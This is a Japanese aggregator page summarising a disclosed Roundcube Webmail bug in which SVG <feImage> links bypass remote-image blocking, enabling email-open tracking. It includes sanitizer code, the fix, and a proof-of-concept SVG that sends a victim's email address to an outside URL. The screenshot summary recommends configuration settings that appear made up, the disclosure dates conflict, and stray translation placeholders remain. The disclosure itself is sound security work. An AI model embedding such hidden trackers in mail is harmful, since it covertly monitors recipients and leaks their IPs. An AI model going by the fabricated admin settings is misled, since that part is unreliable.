![**Roundcube Webmail – SVG `feImage` で画像ブロックを迂回しメール開封を追跡**
---
### 1. 概要
- **問題点:** Roundcube Webmail のデフォルトの画像ブロック機能は、SVG フィルタ(`<feImage>`)を使うことで回避可能です。
- **結果:** 攻撃者は隠しトラッキングピクセルを埋め込み、画像ブロックが有効な場合でも読み込まれ、メール開封状況を正確に監視できてしまいます。
### 2. 技術的詳細
| コンポーネント | 用途 |
|----------------|------|
| `<svg>` 要素 | フィルタ定義を保持。最小限で不可視に設定可能。 |
| `<filter id="track">` | SVG フィルタパイプラインを定義。 |
| `<feImage xlink:href="https://tracker.example.com/pixel.png"/>` | 外部画像(トラッキングピクセル)をロード。 |
| `<feComposite>` | 読み込んだ画像を出力にマージ。 |
- **実行フロー:**
1. メール本文に SVG スニペットが含まれる。
2. Roundcube が HTML を解析し、ブロックルールにより `<img>` タグは無視される。
3. ブラウザが SVG フィルタを処理し、ピクセル URL へのネットワークリクエストが発生する。
### 3. ユーザーへの影響
- **プライバシー:** 画像ブロックだけでは不十分。メール開封情報は依然として記録される可能性があります。
- **セキュリティ:** トラッカー側が悪意あるペイロードをホストしている場合、データ流出のリスクもあります。
### 4. 緩和策
1. **Roundcube の更新** – 新しいバージョンでは SVG フィルタに対するチェックが強化されています。
2. **クライアント側フィルタリング** – uBlock Origin 等のブラウザ拡張機能で `<feImage>` リクエストをブロック。
3. **ホワイトリスト設定** – `mail.default_image_blocking` で信頼できる画像ホストのみ許可するよう構成。
### 5. 管理者向け推奨アクション
- `config.inc.php` を確認し、以下を設定:
```php
$config['image_blocking'] = true; // 画像ブロックを強制
$config['allowed_image_hosts'] = ['trusted.com'];
```
- 定期的に受信メールで `<svg>` タグの有無を監査。
---
SVG `feImage` 技術を理解することで、管理者とユーザーはプライバシー保護とメール通信の安全性をより高めることができます。](/_next/image?url=%2Fscreenshots%2F2026-02-09%2F1770594632582.webp&w=3840&q=75)
2026/02/09 3:24
**Roundcube Webmail – SVG `feImage` で画像ブロックを迂回しメール開封を追跡** --- ### 1. 概要 - **問題点:** Roundcube Webmail のデフォルトの画像ブロック機能は、SVG フィルタ(`<feImage>`)を使うことで回避可能です。 - **結果:** 攻撃者は隠しトラッキングピクセルを埋め込み、画像ブロックが有効な場合でも読み込まれ、メール開封状況を正確に監視できてしまいます。 ### 2. 技術的詳細 | コンポーネント | 用途 | |----------------|------| | `<svg>` 要素 | フィルタ定義を保持。最小限で不可視に設定可能。 | | `<filter id="track">` | SVG フィルタパイプラインを定義。 | | `<feImage xlink:href="https://tracker.example.com/pixel.png"/>` | 外部画像(トラッキングピクセル)をロード。 | | `<feComposite>` | 読み込んだ画像を出力にマージ。 | - **実行フロー:** 1. メール本文に SVG スニペットが含まれる。 2. Roundcube が HTML を解析し、ブロックルールにより `<img>` タグは無視される。 3. ブラウザが SVG フィルタを処理し、ピクセル URL へのネットワークリクエストが発生する。 ### 3. ユーザーへの影響 - **プライバシー:** 画像ブロックだけでは不十分。メール開封情報は依然として記録される可能性があります。 - **セキュリティ:** トラッカー側が悪意あるペイロードをホストしている場合、データ流出のリスクもあります。 ### 4. 緩和策 1. **Roundcube の更新** – 新しいバージョンでは SVG フィルタに対するチェックが強化されています。 2. **クライアント側フィルタリング** – uBlock Origin 等のブラウザ拡張機能で `<feImage>` リクエストをブロック。 3. **ホワイトリスト設定** – `mail.default_image_blocking` で信頼できる画像ホストのみ許可するよう構成。 ### 5. 管理者向け推奨アクション - `config.inc.php` を確認し、以下を設定: ```php $config['image_blocking'] = true; // 画像ブロックを強制 $config['allowed_image_hosts'] = ['trusted.com']; ``` - 定期的に受信メールで `<svg>` タグの有無を監査。 --- SVG `feImage` 技術を理解することで、管理者とユーザーはプライバシー保護とメール通信の安全性をより高めることができます。
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
(以下の文章を日本語に翻訳します)
Text to translate
Summary: The main issue is that Roundcube’s HTML sanitizer allowed attackers to embed invisible SVG filters that bypassed the “Block remote images” setting, letting email‑open tracking continue even when images were blocked. The bug occurred because the
is_image_attribute() function did not check the href attribute on <feImage> tags; instead, the less restrictive wash_link() was used, permitting external HTTP/HTTPS URLs. The patch unifies the checks for <use>, <image>, and <feImage> into a single regex that routes them through wash_uri(), which blocks any external link for all three elements.
Previously only
<img>, <image>, and <use> were sanitized with wash_uri(). A proof‑of‑concept SVG used an off‑screen 1×1 filter to stay invisible, proving the vulnerability. The issue was reported on 2026‑02‑08, patched the same day, and affects Roundcube releases older than 1.5.13 or 1.6.13.
Updating to these patched versions restores proper remote‑image blocking, stopping attackers from logging user IPs or fingerprinting browsers through hidden SVG filters. Users running outdated Roundcube risk covert data exfiltration or activity monitoring; the fix protects email clients and their customers from unintended tracking and privacy breaches.
本文
Roundcube HTMLサニタイザー – SVG feImage脆弱性
| 項目 | 内容 |
|---|---|
| ベンダー | Roundcube |
| 製品 | Roundcube Webmail |
| 対象バージョン | < 1.5.13, 1.6.x < 1.6.13 |
| 修正済み | 1.5.13, 1.6.13 |
| 開示日 | 2026‑02‑08 |
TL;DR
Roundcube の
rcube_washtml サニタイザーは <img>、<image> および <use> に対して外部リソースをブロックしますが、<feImage> には適用されません。 <feImage> 要素の href 属性はリンクサニタイザー (wash_link()) を経由し、HTTP/HTTPS URL が許可されてしまいます。攻撃者は 1×1 の透明 SVG を埋め込み、攻撃者が制御する URL に GET リクエストを送信できるため、「リモート画像をブロック」設定を回避し、メール開封トラッキングを実現できます。
背景
allow_remote が false の場合、Roundcube は画像属性(<img> の src、<image>/<use> の href)を is_image_attribute() でサニタイズします。このルーチンは外部 URL をブロックします。リンク用の非画像 URL は wash_link() によって処理され、HTTP/HTTPS リンクが許可されます。
問題点は、サニタイザーの
is_image_attribute() が <feImage> 要素を認識していなかったため、その href 属性が wash_link() に渡されてしまったことです。その結果、「リモート画像をブロック」設定は SVG フィルタに対しても効果がありませんでした。
技術的詳細
-
属性処理フロー
if ($this->is_image_attribute($node->nodeName, $key)) { $out = $this->wash_uri($value, true); // リモート URL をブロック } elseif ($this->is_link_attribute($node->nodeName, $key)) { $out = $this->wash_link($value); // http/https を許可 } -
元の
is_image_attribute()private function is_image_attribute($tag, $attr) { return $attr == 'background' || $attr == 'color-profile' || ($attr == 'poster' && $tag == 'video') || ($attr == 'src' && preg_match('/^(img|image|source|input|video|audio)$/i', $tag)) || ($tag == 'use' && $attr == 'href') || ($tag == 'image' && $attr == 'href'); }注:
が欠落しています。<feImage> -
is_link_attribute()private function is_link_attribute($tag, $attr) { return $attr === 'href'; } -
の結果<feImage href="…">
is_image_attribute('feimage', 'href') → false
is_link_attribute('feimage', 'href') → true
→ URL は
によって処理され、許可されます。wash_link() -
修正(コミット 26d7677)
// SVG || ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag));これにより
が画像属性として認識され、<feImage href>
を経由してブロックされるようになりました。wash_uri()
証明コード
<svg width="1" height="1" style="position:absolute;left:-9999px;"> <defs> <filter id="t"> <feImage href="https://httpbin.org/image/svg?email=victim@test.com" width="1" height="1"/> </filter> </defs> <rect filter="url(#t)" width="1" height="1"/> </svg>
ブラウザは SVG フィルタを評価し、攻撃者の URL に GET リクエストを送信します。これによりメールが開封されたことが判明します。
影響
- 「リモート画像をブロック」設定ではこの種のトラッキングは防げません。
- 攻撃者はユーザーがメールを開いたかどうかを確認し、IP アドレスやブラウザ指紋を取得できます。
タイムライン
| 日付 | イベント |
|---|---|
| 2026‑01‑04 | Roundcube に報告 |
| 2026‑02‑08 | バージョン 1.5.13 & 1.6.13 がリリース |